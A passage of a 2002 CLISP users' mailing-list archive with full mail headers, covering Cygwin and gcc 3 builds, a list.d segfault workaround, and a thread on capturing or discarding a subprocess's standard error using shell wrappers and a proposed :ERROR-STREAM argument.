; Wed, 21 Aug 2002 14:11:04 -0700 Received: from karsten.terra.es ([80.103.148.15]) by tsmtp9.mail.isp (Netscape Messaging Server 4.15 tsmtp9 Mar 14 2002 21:29:48) with ESMTP id H17PIB00.H3V for ; Wed, 21 Aug 2002 23:10:59 +0200 Message-Id: <5.1.0.14.0.20020821230205.00a692d0@pop3.terra.es> X-Sender: vs1100.terra.es@pop3.terra.es X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Karsten In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Subject: [clisp-list] Clisp, Cygwin build Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 21 14:12:01 2002 X-Original-Date: Wed, 21 Aug 2002 23:08:57 +0200 I have built clisp 2.29 in my cygwin environment with gcc 2.95, gcc 3.2 and gcc 3.1.1-4 without major problems (although I had to add -falign-functions=4 for gcc 3.x and gcc 3.2 wouldn't work with safety less than 2). Do you have full cygwin? Why don't you simply use ./configure ? I reckon that the configure is slow, I think even slower than the actual build If you have full cygwin I could offer pre-built binaries Karsten From twager@ti.com Fri Aug 23 04:45:55 2002 Received: from dlezb.ext.ti.com ([192.91.75.132] helo=go4.ext.ti.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17iCt0-0006Y0-00 for ; Fri, 23 Aug 2002 04:45:54 -0700 Received: from dlep7.itg.ti.com ([157.170.134.103]) by go4.ext.ti.com (8.11.6/8.11.6) with ESMTP id g7NBjrk17942 for ; Fri, 23 Aug 2002 06:45:53 -0500 (CDT) Received: from dlep7.itg.ti.com (localhost [127.0.0.1]) by dlep7.itg.ti.com (8.9.3/8.9.3) with ESMTP id GAA01734 for ; Fri, 23 Aug 2002 06:45:52 -0500 (CDT) Received: from ffab.tide.ti.com (selenium.ffab.tide.ti.com [137.167.200.28]) by dlep7.itg.ti.com (8.9.3/8.9.3) with ESMTP id GAA01724 for ; Fri, 23 Aug 2002 06:45:52 -0500 (CDT) Received: from ti.com (iridium [137.167.218.82]) by ffab.tide.ti.com (8.12.1/8.12.1) with ESMTP id g7NBjpUs023546 for ; Fri, 23 Aug 2002 13:45:51 +0200 (MEST) Message-ID: <3D66206F.EBB39066@ti.com> From: Thomas Wager Organization: Texas Instruments Deutschland GmbH X-Mailer: Mozilla 4.79 [en] (X11; U; SunOS 5.9 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] How to suppress / redirect standard error? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 04:46:05 2002 X-Original-Date: Fri, 23 Aug 2002 13:45:51 +0200 Hi, I am thinking about the following problem for a couple of hours now, but it seems I cannot get it work. I want to call a Unix command from within CLISP and return its output as a list of strings. The following definition does just what I want: (defun system-call (cmd &rest args) (let ((in (ext:run-program cmd :arguments args :input nil :output :stream))) (let ((res (loop as l = (read-line in nil) while l do collect l))) (close in) res))) However, if the Unix command produces an error message to standard error I cannot catch (or discard it): [16]> (system-call "/usr/bin/ls" "-l" "/nothing") /nothing: No such file or directory NIL Any ideas? Thanks, Thomas From hin@van-halen.alma.com Fri Aug 23 05:23:13 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17iDT5-00031K-00 for ; Fri, 23 Aug 2002 05:23:12 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g7NCN9kB027141; Fri, 23 Aug 2002 08:23:09 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g7NCN9Zn027138; Fri, 23 Aug 2002 08:23:09 -0400 Message-Id: <200208231223.g7NCN9Zn027138@van-halen.alma.com> From: "John K. Hinsdale" To: twager@ti.com CC: clisp-list@lists.sourceforge.net In-reply-to: <3D66206F.EBB39066@ti.com> (message from Thomas Wager on Fri, 23 Aug 2002 13:45:51 +0200) Subject: Re: [clisp-list] How to suppress / redirect standard error? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 05:24:02 2002 X-Original-Date: Fri, 23 Aug 2002 08:23:09 -0400 > However, if the Unix command produces an error message to standard > error I cannot catch (or discard it): One option that is kludgy but will at definitely work is to make the following 2-line program (call it "combine_output"): ---- Cut here --- #!/bin/sh $* 2>&1 ---- Cut here --- Then use SYSTEM-CALL as you have defun'ed it, but using "combine_output" as the program, and your real program as the first argument: (system-call "/path/to/comine_output" "/usr/bin/ls" "-l" "/nothing" "/more-nothing") This worked for me (I got a list of two strings) on Linux. If you want to _discard_ the errors (hmmmmmmm :) make a script called "discard_errors" that does: ---- Cut here --- #!/bin/sh $* 2>/dev/null ---- Cut here --- Then call as above. BTW, what that "2" refers to is the Unix "standard error" stream. Unix assigns the numbers 0,1,2 to three default streams, "input," "output" and "errors" (respectively) which it creates with every program. In the shell, you can re-direct where these go by referring to the streams by number as above. The directive "2>1" means "make stream 2 (errors) go wherever stream 1 (normal output) goes." In the case of merging the outputs, they will get interleaved in no predictable order - this may create problems for you parsing them. Because of buffering, Unix won't even guarantee that they appear in the merged output in the order they were written to by the program (!). If you need access to the output and the error streams separately, you may have to get uglier and save the errors to a temp. file and read that. If you're discarding the error stream (hmmmm :) there's no problem. There might be a better way but I thought I'd at least give you an "out" to get through the day. Good day! --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From samuel.steingold@verizon.net Fri Aug 23 06:20:09 2002 Received: from h000.c001.snv.cp.net ([209.228.32.114] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17iEMA-0002hx-00 for ; Fri, 23 Aug 2002 06:20:06 -0700 Received: (cpmta 13067 invoked from network); 23 Aug 2002 06:20:00 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.114) with SMTP; 23 Aug 2002 06:20:00 -0700 X-Sent: 23 Aug 2002 13:20:00 GMT To: Christian Schuhegger Cc: clisp-list@sourceforge.net References: <3D65FB53.8000305@cern.ch> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3D65FB53.8000305@cern.ch> Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Re: [Fwd: [ clisp-Bugs-598128 ] values / multiple-value-list bug?] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 06:21:01 2002 X-Original-Date: 23 Aug 2002 09:19:59 -0400 [let us move the discussion to the mailing list] > did you receive this mail? yes, and I replied to it yesterday: do you have cygwin? can you install it? get the CLISP CVS head, then $ make -f Makefile.devel makemake $ ./makemake --with-dir-key --with-export-syscalls --with-dynamic-ffi \ win32msvc msvc5 debug > src/makefile $ cd src $ nmake clean $ nmake -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Lisp is a language for doing what you've been told is impossible. - Kent Pitman From jmccla3@gl.umbc.edu Fri Aug 23 06:47:31 2002 Received: from mx3out.umbc.edu ([130.85.25.12]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17iEmg-0004dE-00 for ; Fri, 23 Aug 2002 06:47:30 -0700 Received: from linux2.gl.umbc.edu (linux2.gl.umbc.edu [130.85.60.16]) by mx3out.umbc.edu (8.12.1/8.12.0/UMBC-Central 1.11 mxout 1.2.2.3 $) with ESMTP id g7NDlQMi026074 for ; Fri, 23 Aug 2002 09:47:26 -0400 (EDT) Received: from localhost (jmccla3@localhost) by linux2.gl.umbc.edu (8.12.1/8.12.0) with ESMTP id g7NDlQZj007142 for ; Fri, 23 Aug 2002 09:47:26 -0400 X-Authentication-Warning: linux2.gl.umbc.edu: jmccla3 owned process doing -bs From: James Mcclain To: In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] compiling CLISP with gcc 3 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 06:48:08 2002 X-Original-Date: Fri, 23 Aug 2002 09:47:26 -0400 (EDT) dear list, has anyone else had trouble compiling CLISP with gcc 3? i was getting a problem where it would seg fault in a loop inside sublis_assoc in list.d. it turned out that the problem was caused by line 1482 of list.d (if memory serves). i simply commented that out and compiled and shockingly it worked and even passed 'make test'! i was wondering if 1) the lisp interpreter i built is really okay or just pretending to be okay 2) anyone else had seen this problem 3) anyone has a more satisfying solution. regards, james mcclain From rrschulz@cris.com Fri Aug 23 06:58:46 2002 Received: from uhura.concentric.net ([206.173.118.93]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17iExV-0006eG-00 for ; Fri, 23 Aug 2002 06:58:41 -0700 Received: from marconi.concentric.net (marconi.concentric.net [206.173.118.71]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id g7NDwWi26932 for ; Fri, 23 Aug 2002 09:58:32 -0400 (EDT) Received: from Clemens.cris.com (da003d0247.sjc-ca.osd.concentric.net [64.1.0.248]) by marconi.concentric.net (8.9.1a) id JAA19626; Fri, 23 Aug 2002 09:58:31 -0400 (EDT) Message-Id: <5.1.0.14.2.20020823064636.01fa9270@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] How to suppress / redirect standard error? In-Reply-To: <200208231223.g7NCN9Zn027138@van-halen.alma.com> References: <3D66206F.EBB39066@ti.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 06:59:06 2002 X-Original-Date: Fri, 23 Aug 2002 06:58:49 -0700 John, Thomas, A slight improvement on John's solution is to use the "exec" shell built-in. This command causes the shell to overlay or replace itself (using the Unix / POSIX "exec" system call) with the specified command. Otherwise, the shell will "fork" and create a sub-process to run that command. When there's only one command, this is a wasted overhead. Thus the "comine_output" script would look like this: -==--==--==--==- #!/bin/sh exec $* 2>&1 -==--==--==--==- It's also a very good idea to quote the arguments individually. To do that, use this alternate variable expansion syntax: -==--==--==--==- #!/bin/sh exec "$@" 2>&1 -==--==--==--==- If you don't do this, arguments with spaces or shell metacharacters (there are many) will causes error or misinterpretations of your invocation. The "exec" command should be available in all shells. Only bourne-shell-like shells have "$@". That list includes (at least) the Bourne Shell, ASH, BASH and KSH. Good luck. Randall Schulz Mountain View, CA USA At 05:23 2002-08-23, John K. Hinsdale wrote: > > However, if the Unix command produces an error message to standard > > error I cannot catch (or discard it): > >One option that is kludgy but will at definitely work is to make the >following 2-line program (call it "combine_output"): > >---- Cut here --- >#!/bin/sh >$* 2>&1 >---- Cut here --- > >Then use SYSTEM-CALL as you have defun'ed it, but using >"combine_output" as the program, and your real program as the first >argument: > >(system-call "/path/to/comine_output" "/usr/bin/ls" "-l" "/nothing" >"/more-nothing") > >This worked for me (I got a list of two strings) on Linux. > >If you want to _discard_ the errors (hmmmmmmm :) make a script called >"discard_errors" that does: >---- Cut here --- >#!/bin/sh >$* 2>/dev/null >---- Cut here --- > >Then call as above. > >BTW, what that "2" refers to is the Unix "standard error" stream. >Unix assigns the numbers 0,1,2 to three default streams, "input," >"output" and "errors" (respectively) which it creates with every >program. In the shell, you can re-direct where these go by referring >to the streams by number as above. The directive "2>1" means "make >stream 2 (errors) go wherever stream 1 (normal output) goes." > >In the case of merging the outputs, they will get interleaved in no >predictable order - this may create problems for you parsing them. >Because of buffering, Unix won't even guarantee that they appear in >the merged output in the order they were written to by the program >(!). If you need access to the output and the error streams >separately, you may have to get uglier and save the errors to a >temp. file and read that. If you're discarding the error stream >(hmmmm :) there's no problem. > >There might be a better way but I thought I'd at least give you an >"out" to get through the day. > >Good day! > >--- >John Hinsdale, From samuel.steingold@verizon.net Fri Aug 23 07:04:53 2002 Received: from h020.c001.snv.cp.net ([209.228.32.134] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17iF3U-0007S4-00 for ; Fri, 23 Aug 2002 07:04:52 -0700 Received: (cpmta 19152 invoked from network); 23 Aug 2002 07:04:46 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.134) with SMTP; 23 Aug 2002 07:04:46 -0700 X-Sent: 23 Aug 2002 14:04:46 GMT To: James Mcclain Cc: Subject: Re: [clisp-list] compiling CLISP with gcc 3 References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 07:05:10 2002 X-Original-Date: 23 Aug 2002 10:04:44 -0400 > * In message > * On the subject of "[clisp-list] compiling CLISP with gcc 3" > * Sent on Fri, 23 Aug 2002 09:47:26 -0400 (EDT) > * Honorable James Mcclain writes: > > has anyone else had trouble compiling CLISP with gcc 3? oy wey.... uname -a? gcc --version? solaris is known to have problems, others should be fine. > i was getting a problem where it would seg fault in a loop inside > sublis_assoc in list.d. it turned out that the problem was caused by > line 1482 of list.d (if memory serves). i simply commented that out > and compiled and shockingly it worked and even passed 'make test'! what line did you remove? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Bill Gates is not god and Microsoft is not heaven. From jmccla3@gl.umbc.edu Fri Aug 23 07:22:07 2002 Received: from mx3out.umbc.edu ([130.85.25.12]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17iFKA-0007UQ-00 for ; Fri, 23 Aug 2002 07:22:06 -0700 Received: from linux3.gl.umbc.edu (linux3.gl.umbc.edu [130.85.60.39]) by mx3out.umbc.edu (8.12.1/8.12.0/UMBC-Central 1.11 mxout 1.2.2.3 $) with ESMTP id g7NEM3Mi028114; Fri, 23 Aug 2002 10:22:03 -0400 (EDT) Received: from localhost (jmccla3@localhost) by linux3.gl.umbc.edu (8.12.1/8.12.0) with ESMTP id g7NEM3O9014271; Fri, 23 Aug 2002 10:22:03 -0400 X-Authentication-Warning: linux3.gl.umbc.edu: jmccla3 owned process doing -bs From: James Mcclain To: Sam Steingold cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] compiling CLISP with gcc 3 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 07:23:02 2002 X-Original-Date: Fri, 23 Aug 2002 10:22:03 -0400 (EDT) On 23 Aug 2002, Sam Steingold wrote: > > * In message > > * On the subject of "[clisp-list] compiling CLISP with gcc 3" > > * Sent on Fri, 23 Aug 2002 09:47:26 -0400 (EDT) > > * Honorable James Mcclain writes: > > > > has anyone else had trouble compiling CLISP with gcc 3? > > oy wey.... > uname -a? > gcc --version? > oh sorry: linux 2.4.20-pre4 on x86, gcc 3.2 > solaris is known to have problems, others should be fine. > > > i was getting a problem where it would seg fault in a loop inside > > sublis_assoc in list.d. it turned out that the problem was caused by > > line 1482 of list.d (if memory serves). i simply commented that out > > and compiled and shockingly it worked and even passed 'make test'! > > what line did you remove? > it was line 1482 of list.d from the 2.29 tarball. 1482c1482 < alist = popSTACK(); --- > # alist = popSTACK(); > > -- > Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux > > > Bill Gates is not god and Microsoft is not heaven. > > > > ------------------------------------------------------- > This sf.net email is sponsored by: OSDN - Tired of that same old > cell phone? Get a new here for FREE! > https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From empb@bese.it Fri Aug 23 07:29:07 2002 Received: from mail-3.tiscali.it ([195.130.225.149] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17iFQv-0008Qe-00 for ; Fri, 23 Aug 2002 07:29:05 -0700 Received: from localhost (62.10.90.119) by mail.tiscali.it (6.5.026) id 3D521521003F8619; Fri, 23 Aug 2002 16:28:45 +0200 To: Thomas Wager Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to suppress / redirect standard error? References: <3D66206F.EBB39066@ti.com> From: Marco Baringer In-Reply-To: <3D66206F.EBB39066@ti.com> Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 07:30:03 2002 X-Original-Date: 23 Aug 2002 16:29:41 +0200 Thomas Wager writes: > (defun system-call (cmd &rest args) > (let ((in (ext:run-program cmd :arguments args > :input nil > :output :stream))) ((in (ext:run-shell-command (format nil "~S ~{ \'~S\'~} 2>&1" cmd args) :input nil :output :stream))) > (let ((res > (loop as l = (read-line in nil) > while l > do > collect l))) > (close in) > res))) this avoids having to create a seperate program, but will you will have problems if elements of args contains #\' chars. 1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT and :OUTPUT? (Sam, if you don't have objections i'd be happy to take a whack at this.) 2) Why can't one specify a stream as the arg to :OUTPUT or :INPUT? -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From hin@van-halen.alma.com Fri Aug 23 07:50:15 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17iFlO-0008OR-00 for ; Fri, 23 Aug 2002 07:50:14 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g7NEo5kB027582; Fri, 23 Aug 2002 10:50:05 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g7NEo5Qu027579; Fri, 23 Aug 2002 10:50:05 -0400 Message-Id: <200208231450.g7NEo5Qu027579@van-halen.alma.com> From: "John K. Hinsdale" To: empb@bese.it CC: twager@ti.com, clisp-list@lists.sourceforge.net In-reply-to: (message from Marco Baringer on 23 Aug 2002 16:29:41 +0200) Subject: Re: [clisp-list] How to suppress / redirect standard error? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 07:51:02 2002 X-Original-Date: Fri, 23 Aug 2002 10:50:05 -0400 > ((in (ext:run-shell-command (format nil "~S ~{ \'~S\'~} 2>&1" Note that when Lisp is launching the command it needs to use a shell that understands the "2>&1" syntax. So /bin/csh and /bin/tcsh will NOT work. The shell used can probably be ensured by setting environment varialbe SHELL to /bin/sh or un-setting it. There's no ambiguity w/ the wrapper script as the shell is set explitly with the first "#!/bin/sh" line which says what interpereter to use to run the script. I agree w/ all of what Randall Schultz said too. More important than the "exec" (forking's pretty cheap these days) is the use of the syntax to prevent un-escaping of the shell arguments. > 1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT > and :OUTPUT? (Sam, if you don't have objections i'd be happy to > take a whack at this.) the right way. If the underlying O/S has a two-output-stream model, and the point of the call is to interface to the underlying O/S program exec facility, both streams should be accessible explicitly. Things get even worse when you start opening command pipes and want to route their separate output/error streams to different places using only the shell redirection syntax ... --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From samuel.steingold@verizon.net Fri Aug 23 08:02:27 2002 Received: from h007.c001.snv.cp.net ([209.228.32.121] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17iFxB-0001A3-00 for ; Fri, 23 Aug 2002 08:02:25 -0700 Received: (cpmta 796 invoked from network); 23 Aug 2002 08:02:19 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.121) with SMTP; 23 Aug 2002 08:02:19 -0700 X-Sent: 23 Aug 2002 15:02:19 GMT To: Marco Baringer Cc: Thomas Wager , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to suppress / redirect standard error? References: <3D66206F.EBB39066@ti.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 08:03:02 2002 X-Original-Date: 23 Aug 2002 11:02:17 -0400 > * In message > * On the subject of "Re: [clisp-list] How to suppress / redirect standard error?" > * Sent on 23 Aug 2002 16:29:41 +0200 > * Honorable Marco Baringer writes: > > 1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT > and :OUTPUT? (Sam, if you don't have objections i'd be happy to > take a whack at this.) go ahead! > 2) Why can't one specify a stream as the arg to :OUTPUT or :INPUT? a missing feature? thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Lisp: its not just for geniuses anymore. From empb@bese.it Fri Aug 23 08:43:29 2002 Received: from mail-7.tiscali.it ([195.130.225.153] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17iGat-0007Jr-00 for ; Fri, 23 Aug 2002 08:43:28 -0700 Received: from localhost (62.10.90.119) by mail.tiscali.it (6.5.026) id 3D5215210042AA6C for clisp-list@lists.sourceforge.net; Fri, 23 Aug 2002 17:43:18 +0200 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] How to suppress / redirect standard error? References: <200208231450.g7NEo5Qu027579@van-halen.alma.com> From: Marco Baringer In-Reply-To: <200208231450.g7NEo5Qu027579@van-halen.alma.com> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 08:44:03 2002 X-Original-Date: 23 Aug 2002 17:44:15 +0200 "John K. Hinsdale" writes: > > 1) wouldn't it be nice to have an :ERROR-STREAM keyword arg ala :INPUT > > and :OUTPUT? (Sam, if you don't have objections i'd be happy to > > take a whack at this.) > > the right way. If the underlying O/S has a two-output-stream model, > and the point of the call is to interface to the underlying O/S > program exec facility, both streams should be accessible explicitly. > > Things get even worse when you start opening command pipes and want to > route their separate output/error streams to different places using > only the shell redirection syntax ... i'm confused as to what you mean by "the right way." say we add an :ERROR-STREAM arg to EXT:RUN-SHELL-COMMAND (EXT:RUN-PROGRAM get's it too). We also allow the args to :INPUT, :OUTPUT and :ERROR-STREAM to be stream objects (or :TERMINAL, :STREAM, NIL or pathname objects with the current semantics). As far as i can see this would allow for arbitrary manipulation of pipes between programs. yes? -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From hin@van-halen.alma.com Fri Aug 23 09:06:51 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17iGxW-0003cb-00 for ; Fri, 23 Aug 2002 09:06:50 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g7NG6lkB027875; Fri, 23 Aug 2002 12:06:47 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g7NG6l9J027872; Fri, 23 Aug 2002 12:06:47 -0400 Message-Id: <200208231606.g7NG6l9J027872@van-halen.alma.com> From: "John K. Hinsdale" To: empb@bese.it CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Marco Baringer on 23 Aug 2002 17:44:15 +0200) Subject: Re: [clisp-list] How to suppress / redirect standard error? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Aug 23 09:07:04 2002 X-Original-Date: Fri, 23 Aug 2002 12:06:47 -0400 > i'm confused as to what you mean by "the right way." Right, by "right way" i meant exactly having the explicity additional param, error-stream arg as has been proposed. this in contrast with the "less then right" way (that I admit I suggested :) of using the shell's redirect syntax, which has the problems of: 1 - is shell dependent for merging streams 2 - doesn't quite work for pipes 3 - incurs the argument escaping/quoting issues mentioned > say we add an > :ERROR-STREAM arg to EXT:RUN-SHELL-COMMAND (EXT:RUN-PROGRAM get's it > too). We also allow the args to :INPUT, :OUTPUT and :ERROR-STREAM to > nbe stream objects (or :TERMINAL, :STREAM, NIL or pathname objects with > the current semantics). As far as i can see this would allow for > arbitrary manipulation of pipes between programs. yes? Yes, would solve (2) above in a way that is more flexible than can be done even w/ Unix own shells. I'm only speaking w/ knowledge of csh/tcsh and sh, not bash which may have solved the problem. But not everyone will have bash. (e.g., Solaris) BTW, if it's intened to allow "merging" the output and error streams, there will still be the problem I mentioned earlier with the streams' data being interleaved unpredicatbly because of how Unix buffers its standard streams. I don't believe there's a solution to that other than Lisp's I/O library changing the buffering policies, which is perhaps not its business to do. This is a long-standing Unix problem. Hope this helps!!! --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From lisp-clisp-list@m.gmane.org Fri Aug 23 11:46:31 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17iJRy-0004TE-00 for ; Fri, 23 